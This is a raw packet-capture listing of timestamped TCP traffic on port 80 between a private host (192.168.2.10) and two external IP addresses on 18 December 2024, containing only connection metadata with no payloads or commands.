Dec 18, 2024 15:56:34.527061939 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.527137041 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.527239084 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.527288914 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.528371096 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.528417110 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.528600931 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.528697968 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.529602051 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.529624939 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.529683113 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.529690981 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.530729055 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.530814886 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.530833960 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.530858040 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.531522989 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.531874895 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.531985044 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.532052040 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.532052040 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.533051968 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.533107996 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.533165932 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.533231974 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.534293890 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.534301996 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.534348011 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.535504103 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.535531044 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.535537958 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.535582066 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.536636114 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.536643028 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.536705017 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.537852049 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.537915945 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.537949085 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.537998915 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.538995981 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.539058924 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.539129019 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.539202929 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.540230989 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.540302992 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.540354967 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.540409088 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.541471004 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.541522026 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.541702986 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.541754961 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.542592049 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.542665005 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.542702913 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.542799950 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.543853045 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.543908119 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.544142962 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.544217110 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.545238018 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.545257092 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.545300961 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.545320034 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.546241045 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.546344995 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.546364069 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.546400070 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.547395945 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.547460079 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.547491074 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.547624111 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.548547029 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.548660040 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.669123888 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.669137955 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.669152975 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.669169903 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.669204950 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.669243097 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.669425964 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.669433117 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.669440031 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.669475079 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.670049906 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.670104980 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.670110941 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.670123100 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.670162916 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.670474052 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.670957088 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.670989990 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.671022892 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.671040058 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.671072006 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.671583891 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.671600103 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.671627998 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.671658993 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.671761036 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.671807051 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.672406912 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.672472954 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.672485113 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.672527075 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.672727108 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.672794104 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.673381090 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.673397064 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.673424959 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.673455000 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.673466921 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.673508883 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.674285889 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.674302101 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.674331903 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.674348116 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.674351931 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.674380064 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.675225019 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.675282001 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.675297022 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.675323963 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.675374031 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.675426006 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.676181078 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.676197052 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.676213026 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.676240921 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.676297903 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.676297903 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.677045107 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.677059889 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.677088976 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.677105904 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.677212954 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.677320957 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.677948952 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.677982092 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.678010941 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.678033113 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.678147078 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.678453922 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.678874016 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.678889990 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.678905010 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.678930044 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.679039001 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.679105043 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.679805994 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.679843903 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.679858923 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.679910898 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.679990053 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.680104017 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.680824041 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.680841923 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.680861950 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.680896997 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.680924892 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.680964947 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.681708097 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.681746960 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.681765079 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.681785107 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.681920052 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.682005882 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.682591915 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.682610035 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.682630062 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.682657957 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.682665110 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.682739019 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.683537006 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.683554888 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.683573008 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.683624983 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.683703899 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.683825016 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.684369087 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.684408903 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.684427977 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.684442997 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.684554100 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.684597015 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.685395956 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.685414076 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.685447931 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.685475111 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.685602903 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.685651064 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.686217070 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.686259031 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.686296940 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.686316013 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.686322927 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.686359882 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.687189102 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.687217951 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.687237024 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.687257051 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.687355042 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.687410116 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.688047886 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.688066006 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.688101053 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.688121080 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.688244104 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.688302994 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.688987017 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.689004898 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.689039946 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.689059019 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.689137936 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.689219952 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.689964056 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.689981937 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.690015078 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.690032959 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.690042019 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.690150023 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.690855026 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.690872908 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.690907001 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.690926075 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.691050053 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.691095114 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.691723108 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.691818953 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.691838026 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.691884995 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.692008972 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.692126989 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.692924023 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.732532024 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.732685089 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.732688904 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.732928038 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.732989073 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.733012915 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.733045101 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.733059883 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.734124899 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.734183073 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.734188080 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.734247923 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.734627962 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.735306025 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.735371113 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.735414982 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.735426903 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.736450911 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.736526012 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.736578941 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.736787081 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.737683058 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.737785101 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.737837076 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.737891912 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.738859892 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.738912106 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.738986969 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.739113092 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.740142107 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.740183115 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.740252018 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.741372108 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.741441965 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.741499901 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.741568089 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.742528915 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.742588997 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.742594957 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.742635012 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.743669987 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.743727922 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.743772984 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.743818045 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.744872093 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.744921923 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.744921923 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.744968891 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.746167898 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.746202946 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.746292114 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.747211933 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.747252941 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.747287989 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.747328043 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.748626947 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.748646021 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.748712063 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.749667883 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.749772072 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.749835014 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.749887943 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.750787020 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.750900984 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.750916004 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.750952959 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.752094030 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.752250910 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.752317905 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.752371073 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.753460884 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.753520966 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.753567934 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.753635883 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.754422903 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.754544973 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.754671097 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.754749060 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.755568981 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.755623102 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.755633116 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.755686998 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.756783962 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.756859064 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.756936073 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.757049084 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.757978916 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.758033037 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.758064985 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.758131027 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.759192944 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.759210110 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.759289026 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.760373116 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.760487080 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.760520935 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.760550022 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.761647940 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.761709929 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.761759996 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.761832952 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.762738943 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.762981892 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.763046026 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.763906002 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.764197111 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.764255047 CET	49806	80	192.168.2.10	185.215.113.16
